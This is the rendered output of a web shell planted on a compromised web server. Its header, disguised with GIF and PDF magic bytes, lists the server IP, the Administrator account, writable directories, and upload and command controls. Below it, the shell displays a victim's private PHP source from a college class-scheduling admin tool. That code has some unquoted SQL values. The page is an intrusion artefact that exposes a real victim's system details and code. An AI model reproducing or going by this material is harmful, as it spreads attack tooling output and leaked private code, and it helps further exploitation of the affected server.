GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Admin/Class/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Admin/Class/ClassAddFormParsePerform.phpinc
<?
// Admin/Class/ClassAddFormParsePerform.phpinc

$ClassAddFormParsePerform_DEBUG = false;
#$ClassAddFormParsePerform_DEBUG = true;
if ( $ClassAddFormParsePerform_DEBUG ) { d_On(); }
#d_On();

if ( $ClassAddFormParsePerform_DEBUG ) {
	printVar('$classDataArray',$classDataArray);
	#exit;
}

$f_maxMeetingRows = formValue('maxMeetingRows');

$courseCreateArray = array();
$courseCreateArrayIndex = 0;
$userCreateArray = array();
$userCreateArrayIndex = 0;

$f_YRTR = $_SESSION['YRTR']['User'];
$f_message = '';

foreach ($classDataArray as $key => $classData) { // Loop through the classDataArray.
	#$f_classId = $classData['classId'];
	$f_courseNumber = $classData['courseNumber'];
	$f_RCclassId = $classData['RCclassId'];
	$f_classSection = $classData['classSection'];
	$f_classDaysArray = $classData['classDays']; // classDays = array();
	$f_classDateStartArray = $classData['classDateStart']; // classDateStart = array();
	$f_classDateStopArray = $classData['classDateStop']; // classDateStop = array();
	if ( !isset($classData['classTimeStart']) ) $classData['classDateStop'] = '';
	$f_classTimeStartArray = $classData['classTimeStart']; // classTimeStart = array();
	if ( !isset($classData['classTimeStop']) ) $classData['classTimeStop'] = '';
	$f_classTimeStopArray = $classData['classTimeStop']; // classTimeStop = array();
	if ( !isset($classData['classRoomBldg']) ) $classData['classRoomBldg'] = '';
	$f_classRoomBldgArray = $classData['classRoomBldg']; // classRoomBldg = array();
	if ( !isset($classData['classRoomNumber']) ) $classData['classRoomNumber'] = '';
	$f_classRoomNumberArray = $classData['classRoomNumber']; // classRoomNumber = array();
	if ( !isset($classData['classInstructor']) ) $classData['classInstructor'] = '';
	$f_classInstructorArray = $classData['classInstructor']; // classInstructor = array();
	if ( $ClassAddFormParsePerform_DEBUG ) {
	echo "<br>\n";
	/* */
	printVar('$f_courseNumber',$f_courseNumber);
	printVar('$f_RCclassId',$f_RCclassId);
	printVar('$f_classSection',$f_classSection);
	#printVar('$f_classDaysArray',$f_classDaysArray);
	#printVar('$f_classTimeStartArray',$f_classTimeStartArray);
	#printVar('$f_classTimeStopArray',$f_classTimeStopArray);
	#printVar('$f_classRoomBldgArray',$f_classRoomBldgArray);
	#printVar('$f_classRoomNumberArray',$f_classRoomNumberArray);
	#printVar('$f_classInstructorArray',$f_classInstructorArray);
	/* */
	}
	/* * /
	for ($i=count($f_classDaysArray); $i<$f_maxMeetingRows; $i++) { $f_classDaysArray[$i] = ''; }
	for ($i=count($f_classTimeStartArray); $i<$f_maxMeetingRows; $i++) { $f_classTimeStartArray[$i] = ''; }
	for ($i=count($f_classTimeStopArray); $i<$f_maxMeetingRows; $i++) { $f_classTimeStopArray[$i] = ''; }
	for ($i=count($f_classRoomBldgArray); $i<$f_maxMeetingRows; $i++) { $f_classRoomBldgArray[$i] = ''; }
	for ($i=count($f_classRoomNumberArray); $i<$f_maxMeetingRows; $i++) { $f_classRoomNumberArray[$i] = ''; }
	for ($i=count($f_classInstructorArray); $i<$f_maxMeetingRows; $i++) { $f_classInstructorArray[$i] = ''; }
	/* */
	for ($instructorIndex=0; $instructorIndex<count($f_classInstructorArray); $instructorIndex++) { // Loop through all of the instructors.
		if ( $ClassAddFormParsePerform_DEBUG ) d_Line('<br>'.$f_classInstructorArray[$instructorIndex]);
		if ( strstr($f_classInstructorArray[$instructorIndex],',') ) {
			// Last,First
			list($f_userLastName,$f_userFirstName) = explode(",",$f_classInstructorArray[$instructorIndex]);
		} else {
			// Staff ?
			$f_userLastName = '';
			$f_userFirstName = $f_classInstructorArray[$instructorIndex];
		}
		// Get this instructor's userId.
		$query = "
				SELECT user.userId
					FROM `user`
					JOIN `useruserpermission` ON useruserpermission.userId = user.userId
					JOIN `userpermission` on userpermission.userpermissionId = useruserpermission.userpermissionId
				 WHERE userFirstName = '".query_safe($f_userFirstName)."'
					 AND userLastName = '".query_safe($f_userLastName)."'
					 AND ( userpermissionName = 'ADMIN' OR  userpermissionName = 'INSTRUCTOR' )
			ORDER BY userFirstName, userLastName
		";
		d_Var('userResult',$query,'q');
		$userResult = query_do($query);
		d_Var('$userResult',$userResult,'');
		$userResultCount = $_SESSION['qry']['count'];
		if (!$userResultCount) {
			// Try using Nickname.
			// Get this instructor's userId.
			$query = "
					SELECT user.userId
						FROM `user`
						JOIN `useruserpermission` ON useruserpermission.userId = user.userId
						JOIN `userpermission` on userpermission.userpermissionId = useruserpermission.userpermissionId
					 WHERE userNickName = '".query_safe($f_userFirstName)."'
						 AND userLastName = '".query_safe($f_userLastName)."'
						 AND ( userpermissionName = 'ADMIN' OR  userpermissionName = 'INSTRUCTOR' )
				ORDER BY userFirstName, userLastName
			";
			d_Var('userResult',$query,'q');
			$userResult = query_do($query);
			d_Var('$userResult',$userResult,'');
			$userResultCount = $_SESSION['qry']['count'];
		}
		if ($userResultCount) {
			mysqli_data_seek($userResult, 0);
			$userRow = mysqli_fetch_assoc($userResult);
			$f_userId = $userRow['userId'];
			if ( $ClassAddFormParsePerform_DEBUG ) printVar('$f_userId',$f_userId);
			d_Var('$f_userId',$f_userId,'');
		} else {
			// userId not found.
			// INSERT the user.
			$f_lastModified = currentDateTime();
			if ( $f_userFirstName != '') { $f_userUsername = $f_userFirstName.'_'.substr($f_userLastName,0,1); } else { $f_userUsername = $f_userFirstName; }
			$query = "
					INSERT
						INTO `user` (
						userUsername,
						userFirstName,
						userLastName,
						lastModified,
						modifiedBy
					) VALUES (
					 '".query_safe($f_userUsername)."',
					 '".query_safe($f_userFirstName)."',
					 '".query_safe($f_userLastName)."',
					 '".query_safe($f_lastModified)."',
						".$_SESSION['trueuserId']."
					)
			";
			if ( $ClassAddFormParsePerform_DEBUG ) {
				printVar('userInsert',$query);
				$f_userId = 0;
			} else {
				$userInsert = query_do($query);
				$f_userId = mysqli_insert_id($_SESSION['DATABASE_LINK']);
			}
			$f_message .= "User $f_userFirstName $f_userLastName created ($f_userUsername) (#$f_userId).<br>";
		}
		#if ( $ClassAddFormParsePerform_DEBUG ) printVar('$f_userId',$f_userId);
		// Find the courseId for this class and user.
    $query = "
        SELECT *
          FROM `course`
         WHERE courseNumber = '".query_safe($f_courseNumber)."'
           AND userId = '".$f_userId."'
      ORDER BY courseId DESC
    ";
		d_Var('courseResult',$query,'q');
    $courseResult = query_do($query);
    $courseResultCount = $_SESSION['qry']['count'];
		#if ( $ClassAddFormParsePerform_DEBUG ) printVar('$courseResultCount',$courseResultCount);
		if ( $courseResultCount ) {
			// Use the user's course.
			mysqli_data_seek($userResult, 0);
			$courseRow = mysqli_fetch_assoc($courseResult);
			$f_courseId = $courseRow['courseId'];
			$f_class_facultyIsPrimary_userId = $f_userId;
			if ( $ClassAddFormParsePerform_DEBUG ) printVar('Course found',$f_courseId);
		} else {
			// courseId not found for this user.
			// Try to find this courseId for any user.
			$query = "
					SELECT *
						FROM `course`
					 WHERE courseNumber = '".query_safe($f_courseNumber)."'
				ORDER BY lastModified DESC
			";
			d_Var('courseResult',$query,'q');
			$courseResult = query_do($query);
			$courseResultCount = $_SESSION['qry']['count'];
			#if ( $ClassAddFormParsePerform_DEBUG ) printVar('$courseResultCount',$courseResultCount);
			if ( $courseResultCount ) {
				// Found another user's course.
				// Copy this course but as inactive.
				mysqli_data_seek($courseResult, 0);
				$courseRow = mysqli_fetch_assoc($courseResult);
				$f_class_facultyIsPrimary_userId = $courseRow['userId'];
				$f_courseNumber = $courseRow['courseNumber']; 
				$f_courseTitle = $courseRow['courseTitle']; if (is_null($f_courseTitle)) $f_courseTitle = '';
				$f_courseShortTitle = $courseRow['courseShortTitle']; if (is_null($f_courseShortTitle)) $f_courseShortTitle = '';
				$f_courseCredits = $courseRow['courseCredits']; if (is_null($f_courseCredits)) $f_courseCredits = 0;
				$f_courseCreditsMax = $courseRow['courseCreditsMax']; if (is_null($f_courseCreditsMax)) $f_courseCreditsMax = 0;
				$f_courseDescription = $courseRow['courseDescription']; if (is_null($f_courseDescription)) $f_courseDescription = '';
				$f_coursePrerequisite = $courseRow['coursePrerequisite']; if (is_null($f_coursePrerequisite)) $f_coursePrerequisite = '';
				$f_courseCorequisite = $courseRow['courseCorequisite']; if (is_null($f_courseCorequisite)) $f_courseCorequisite = '';
				$f_lastModified = currentDateTime();
				$query = "
					INSERT
						INTO `course` (
						userId,
						YRTR,
						courseNumber,
						courseTitle,
						courseShortTitle,
						courseCredits,
						courseCreditsMax,
						courseInactive,
						lastModified,
						modifiedBy,
						courseDescription,
						coursePrerequisite,
						courseCorequisite
					) VALUES (
						".$f_userId.",
					 '".query_safe($f_YRTR)."',
					 '".query_safe($f_courseNumber)."',
					 '".query_safe($f_courseTitle)."',
					 '".query_safe($f_courseShortTitle)."',
						".$f_courseCredits.",
						".$f_courseCreditsMax.",
						1,
					 '".query_safe($f_lastModified)."',
						".$_SESSION['trueuserId'].",
					 '".query_safe($f_courseDescription)."',
					 '".query_safe($f_coursePrerequisite)."',
					 '".query_safe($f_courseCorequisite)."'
					)
				";
				if ( $ClassAddFormParsePerform_DEBUG ) {
					printVar('courseInsert',$query);
					$f_courseId = 0;
				} else {
					$courseInsert = query_do($query);
					$f_courseId = mysqli_insert_id($_SESSION['DATABASE_LINK']);
				}
				$f_message .= "Course $f_courseNumber copied from ".userName($f_class_facultyIsPrimary_userId)." to ".userName($f_userId)." (#$f_courseId).<br>";
				if ( $ClassAddFormParsePerform_DEBUG ) printVar('Course copied',$f_courseId);
			} else {
				// No course found anywhere.
				$f_class_facultyIsPrimary_userId = $f_userId;
				// Create the course but as inactive
				$f_lastModified = currentDateTime();
				$query = "
					INSERT
						INTO `course` (
						userId,
						YRTR,
						courseNumber,
						courseInactive,
						lastModified,
						modifiedBy
					) VALUES (
						".$f_userId.",
					 '".query_safe($f_YRTR)."',
					 '".query_safe($f_courseNumber)."',
						1,
					 '".query_safe($f_lastModified)."',
						".$_SESSION['trueuserId']."
					)
				";
				d_Var('courseInsert',$query,'q');
				if ( $ClassAddFormParsePerform_DEBUG ) {
					
					$f_courseId = 0;
				} else {
					$courseInsert = query_do($query);
					$f_courseId = mysqli_insert_id($_SESSION['DATABASE_LINK']);
				}
				$f_message .= "Course $f_courseNumber created for ".userName($f_userId)." (#$f_courseId).<br>";
				if ( $ClassAddFormParsePerform_DEBUG ) printVar('Course created',$f_courseId);
			}
		}
		// We have a courseId and userId.
		// See if this class already exists.
		$query = "
				SELECT classId
					FROM `class`
				 WHERE courseId = ".$f_courseId."
					 AND YRTR = '".query_safe($f_YRTR)."'
					 AND RCclassId = '".query_safe($f_RCclassId)."'
		";
		d_Var('classResult',$query,'q');
		$classResult = query_do($query);
		d_Var('$classResult',$classResult,'');
		$classResultCount = $_SESSION['qry']['count'];
		if ($classResultCount) {
			mysqli_data_seek($classResult, 0);
			$classRow = mysqli_fetch_assoc($classResult);
			$f_classId = $classRow['classId'];
			// UPDATE the class information.
			$f_lastModified = currentDateTime();
			$query = "
					UPDATE `class` 
						 SET classSection = ".$f_classSection.",
								 lastModified = '".query_safe($f_lastModified)."',
								 modifiedBy = ".$_SESSION['trueuserId']."
					 WHERE classId = ".$f_classId."
			";
			d_Var('classUpdate',$query,'q');
			if ( $ClassAddFormParsePerform_DEBUG ) {
				#d_Var('classUpdate',$query,'q');
			} else {
				$classUpdate = query_do($query);
			}
			$f_message .= "Class $f_courseNumber-$f_classSection updated for ".userName($f_userId).". (#$f_classId)<br>";
			if ( $ClassAddFormParsePerform_DEBUG ) printVar('Class found',$f_classId);
		} else {
			// This class does not exist so create it.
			$f_lastModified = currentDateTime();
			$query = "
					INSERT
						INTO `class` (
						courseId,
						YRTR,
						RCclassId,
						classSection,
						lastModified,
						modifiedBy
					) VALUES (
						".$f_courseId.",
					 '".query_safe($f_YRTR)."',
					 '".query_safe($f_RCclassId)."',
						".$f_classSection.",
					 '".query_safe($f_lastModified)."',
						".$_SESSION['trueuserId']."
					)
			";
			d_Var('classInsert',$query,'q');
			if ( $ClassAddFormParsePerform_DEBUG ) {
				#printVar('classInsert',$query);
				$f_classId = 0;
			} else {
				$classInsert = query_do($query);
				$f_classId = mysqli_insert_id($_SESSION['DATABASE_LINK']);
			}
			$f_message .= "Class $f_courseNumber-$f_classSection created for ".userName($f_userId).". (#$f_classId)<br>";
			if ( $ClassAddFormParsePerform_DEBUG ) printVar('Class created',$f_classId);
		}
		// UPDATE classmeeting.
		// First SELECT existing classmeeting records.
		$query = "
				SELECT classmeetingId
					FROM `classmeeting`
				 WHERE classId = ".$f_classId."
		";
		d_Var('classmeetingResult',$query,'q');
		$classmeetingResult = query_do($query);
		$classmeetingResultCount = $_SESSION['qry']['count'];
		if ($classmeetingResultCount) {
			mysqli_data_seek($classmeetingResult, 0);
			while ($classmeetingRow = mysqli_fetch_assoc($classmeetingResult)) {
				$f_classmeetingId = $classmeetingRow['classmeetingId'];
				// Second DELETE existing classmeeting_weekday records.
				$query = "
						DELETE
							FROM `classmeeting_weekday`
						 WHERE classmeetingId = ".$f_classmeetingId."
				";
				d_Var('classmeeting_weekdayDelete',$query,'q');
				if ( $ClassAddFormParsePerform_DEBUG ) {
					#printVar('classmeeting_weekdayDelete',$query);
				} else {
					$classmeeting_weekdayDelete = query_do($query);
				}
			}
			// Third DELETE existing classmeeting records.
			$query = "
					DELETE
						FROM `classmeeting`
					 WHERE classId = ".$f_classId."
			";
			d_Var('classmeetingDelete',$query,'q');
			if ( $ClassAddFormParsePerform_DEBUG ) {
				#printVar('classmeetingDelete',$query);
			} else {
				$classmeetingDelete = query_do($query);
			}
		}
		// Clean up data.
		#if ( !isset($f_classDaysArray[$instructorIndex]) ) $f_classDaysArray[$instructorIndex] = '';
		#if ( !isset($f_classTimeStartArray[$instructorIndex]) ) $f_classTimeStartArray[$instructorIndex] = '';
		#if ( !isset($f_classTimeStopArray[$instructorIndex]) ) $f_classTimeStopArray[$instructorIndex] = '';
		#if ( !isset($f_classRoomBldgArray[$instructorIndex]) ) $f_classRoomBldgArray[$instructorIndex] = '';
		if ( !isset($f_classRoomNumberArray[$instructorIndex]) ) $f_classRoomNumberArray[$instructorIndex] = '';
		// INSERT classmeeting records.
		if ( $ClassAddFormParsePerform_DEBUG ) printVar('classDateStart',$f_classDateStartArray[$instructorIndex]);
		if ( $ClassAddFormParsePerform_DEBUG ) printVar('classDateStop',$f_classDateStopArray[$instructorIndex]);
		if ( $ClassAddFormParsePerform_DEBUG ) printVar('classTimeStart',$f_classTimeStartArray[$instructorIndex]);
		if ( $ClassAddFormParsePerform_DEBUG ) printVar('classTimeStop',$f_classTimeStopArray[$instructorIndex]);
		if ( $ClassAddFormParsePerform_DEBUG ) printVar('classRoomBldg',$f_classRoomBldgArray[$instructorIndex]);
		if ( $ClassAddFormParsePerform_DEBUG ) printVar('classRoomNumber',$f_classRoomNumberArray[$instructorIndex]);
		if ( $ClassAddFormParsePerform_DEBUG ) printVar('classInstructor',$f_classInstructorArray[$instructorIndex]);
		// Setup variables for INSERT
		$f_classDateStart = $f_classDateStartArray[$instructorIndex];
		$f_classDateStop = $f_classDateStopArray[$instructorIndex];
		if ( valid_time($f_classTimeStartArray[$instructorIndex]) ) {
			$f_classTimeStart = valid_time($f_classTimeStartArray[$instructorIndex],'24');
			$f_classTimeDescription = '';
		} else {
			$f_classTimeStart = '';
			$f_classTimeDescription = $f_classTimeStartArray[$instructorIndex];
		}
		if ( isset($f_classTimeStopArray[$instructorIndex]) ) {
			$f_classTimeStop = valid_time($f_classTimeStopArray[$instructorIndex],'24');
		} else {
			$f_classTimeStop = '';
		}
		if ( isset($f_classRoomBldgArray[$instructorIndex]) ) {
			$f_classRoomBldg = $f_classRoomBldgArray[$instructorIndex];
		} else {
			$f_classRoomBldg = '';
		}
		if ( isset($f_classRoomNumberArray[$instructorIndex]) ) {
			$f_classRoomNumber = $f_classRoomNumberArray[$instructorIndex];
		} else {
			$f_classRoomNumber = '';
		}
		if ( isset($f_classInstructorArray[$instructorIndex]) ) {
			$f_classInstructor = $f_classInstructorArray[$instructorIndex];
		} else {
			$f_classInstructor = '';
		}
		$query = "
				INSERT
					INTO `classmeeting` (
					classId,
		";
			if ( $f_classDateStart != '') {
			$query .= "
					classDateStart,
			";
			}
			if ( $f_classDateStop != '') {
			$query .= "
					classDateStop,
			";
			}
			if ( $f_classTimeDescription != '') {
			$query .= "
					classTimeDescription,
			";
			}
			if ( $f_classTimeStart != '') {
			$query .= "
					classTimeStart,
			";
			}
			if ( $f_classTimeStop != '') {
			$query .= "
					classTimeStop,
			";
			}
		$query .= "
					classRoomBldg,
					classRoomNumber,
					classInstructor
				) VALUES (
					".$f_classId.",
			";
			if ( $f_classDateStart != '') {
			$query .= "
				 '".query_safe($f_classDateStart)."',
			";
			}
			if ( $f_classDateStop != '') {
			$query .= "
				 '".query_safe($f_classDateStop)."',
			";
			}
			if ( $f_classTimeDescription != '') {
			$query .= "
				 '".query_safe($f_classTimeDescription)."',
			";
			}
			if ( $f_classTimeStart != '') {
			$query .= "
				 '".query_safe($f_classTimeStart)."',
			";
			}
			if ( $f_classTimeStop != '') {
			$query .= "
				 '".query_safe($f_classTimeStop)."',
			";
			}
		$query .= "
				 '".query_safe($f_classRoomBldg)."',
				 '".query_safe($f_classRoomNumber)."',
				 '".query_safe($f_classInstructor)."'
				)
		";
		if ( $ClassAddFormParsePerform_DEBUG ) {
			printVar('classmeetingInsert',$query);
			$f_classmeetingId = 0;
		} else {
			$classmeetingInsert = query_do($query);
			$f_classmeetingId = mysqli_insert_id($_SESSION['DATABASE_LINK']);
		}
		// UPDATE classmeeting_weekday
		if ( $ClassAddFormParsePerform_DEBUG ) printVar('classDays',$f_classDaysArray[$instructorIndex]);
		$f_classDays = $f_classDaysArray[$instructorIndex];
		// INSERT the classmeeting days.
		for ($i = 0, $j = strlen($f_classDays); $i < $j; $i++) {
			// Find the weekday
			$query = "
					SELECT weekdayId,
								 weekday1
						FROM `weekday`
					 WHERE weekday1 = '".strtoupper($f_classDays[$i])."'
			";
			d_Var('$weekdayResult',$query,'q');
			$weekdayResult = query_do($query);
			$weekdayResultCount = $_SESSION['qry']['count'];
			if (!$weekdayResultCount) {
				$weekdayRow = '';
				$f_error = 'Day ('.$f_classDays[$i].') is not a valid day (UMTWHFS).<span class="pv_fl"> '.basename(__FILE__).':'.__LINE__.'</span>';
				include('common/displayErrorsAndMessages.phpinc');
				include('common/pageFooter.phpinc');
			}
			mysqli_data_seek($weekdayResult, 0);
			$weekdayRow = mysqli_fetch_assoc($weekdayResult);
			$query = "
					INSERT
						INTO `classmeeting_weekday` (
						classmeetingId,
						weekdayId
					) VALUES (
						".$f_classmeetingId.",
						".$weekdayRow['weekdayId']."
					)
			";
			if ( $ClassAddFormParsePerform_DEBUG ) {
				printVar("\$class_weekdayInsert",$query);
			} else {
				$class_weekdayInsert = query_do($query);
			}
		}
		// See if this user has a classfaculty record for this class.
		$query = "
				SELECT classfacultyId
				FROM `classfaculty`
				 WHERE classId = ".$f_classId."
					 AND userId = ".$f_userId."
		";
		d_Var('classfacultyResult',$query,'q');
		$classfacultyResult = query_do($query);
		$classfacultyResultCount = $_SESSION['qry']['count'];
		#if ($classfacultyResultCount != 1) {
		if ($classfacultyResultCount) {
			// There is alread a classfaculty record so do nothing
		} else {
			// There is no classfaculty record for this user.
			// See if there are any classfaculty records for this class.
			$query = "
					SELECT classfacultyId
					FROM `classfaculty`
					 WHERE classId = ".$f_classId."
			";
			d_Var('classfacultyResult',$query,'q');
			$classfacultyResult = query_do($query);
			$classfacultyResultCount = $_SESSION['qry']['count'];
			if ( $f_class_facultyIsPrimary_userId == $f_userId ) {
				// There are no classfaculty records for any user or this user is the primary.
				// This user is the primary.
				$f_class_facultyIsPrimary = 1;
			} else {
				// There is a classfaculty record for another user.
				// This user is not the primary.
				$f_class_facultyIsPrimary = 0;
			}
			if ( $ClassAddFormParsePerform_DEBUG ) printVar('$f_class_facultyIsPrimary_userId',$f_class_facultyIsPrimary_userId);
			if ( $ClassAddFormParsePerform_DEBUG ) printVar('$f_userId',$f_userId);
			if ( $ClassAddFormParsePerform_DEBUG ) printVar('$f_class_facultyIsPrimary',$f_class_facultyIsPrimary);
			// INSERT the classfaculty record for this user.
			$f_lastModified = currentDateTime();
			$query = "
					INSERT
						INTO `classfaculty` (
						classId,
						userId,
						class_facultyIsPrimary,
						lastModified,
						modifiedBy
					) VALUES (
						".$f_classId.",
						".$f_userId.",
						".$f_class_facultyIsPrimary.",
					 '".query_safe($f_lastModified)."',
						".$_SESSION['trueuserId']."
					)
			";
			d_Var('classfacultyInsert',$query,'q');
			if ( $ClassAddFormParsePerform_DEBUG ) {
				#printVar('classfacultyInsert',$query);
				$f_classfacultyId = 0;
			} else {
				$classfacultyInsert = query_do($query);
				$f_classfacultyId = mysqli_insert_id($_SESSION['DATABASE_LINK']);
			}
			if ( $f_class_facultyIsPrimary ) {
				$f_message .= "Faculty record created for ".userName($f_userId)." as primary instructor (#$f_classfacultyId).<br>";
			} else {
				$f_message .= "Faculty record created for ".userName($f_userId)." as secondary instructor (#$f_classfacultyId).<br>";
			}
			if ( $ClassAddFormParsePerform_DEBUG ) printVar('Class faculty record created',$f_classfacultyId);
		}
	} // Loop through all of the instructors.
}  // Loop through the classDataArray.


?>

Anon7 - 2022
AnonSec Team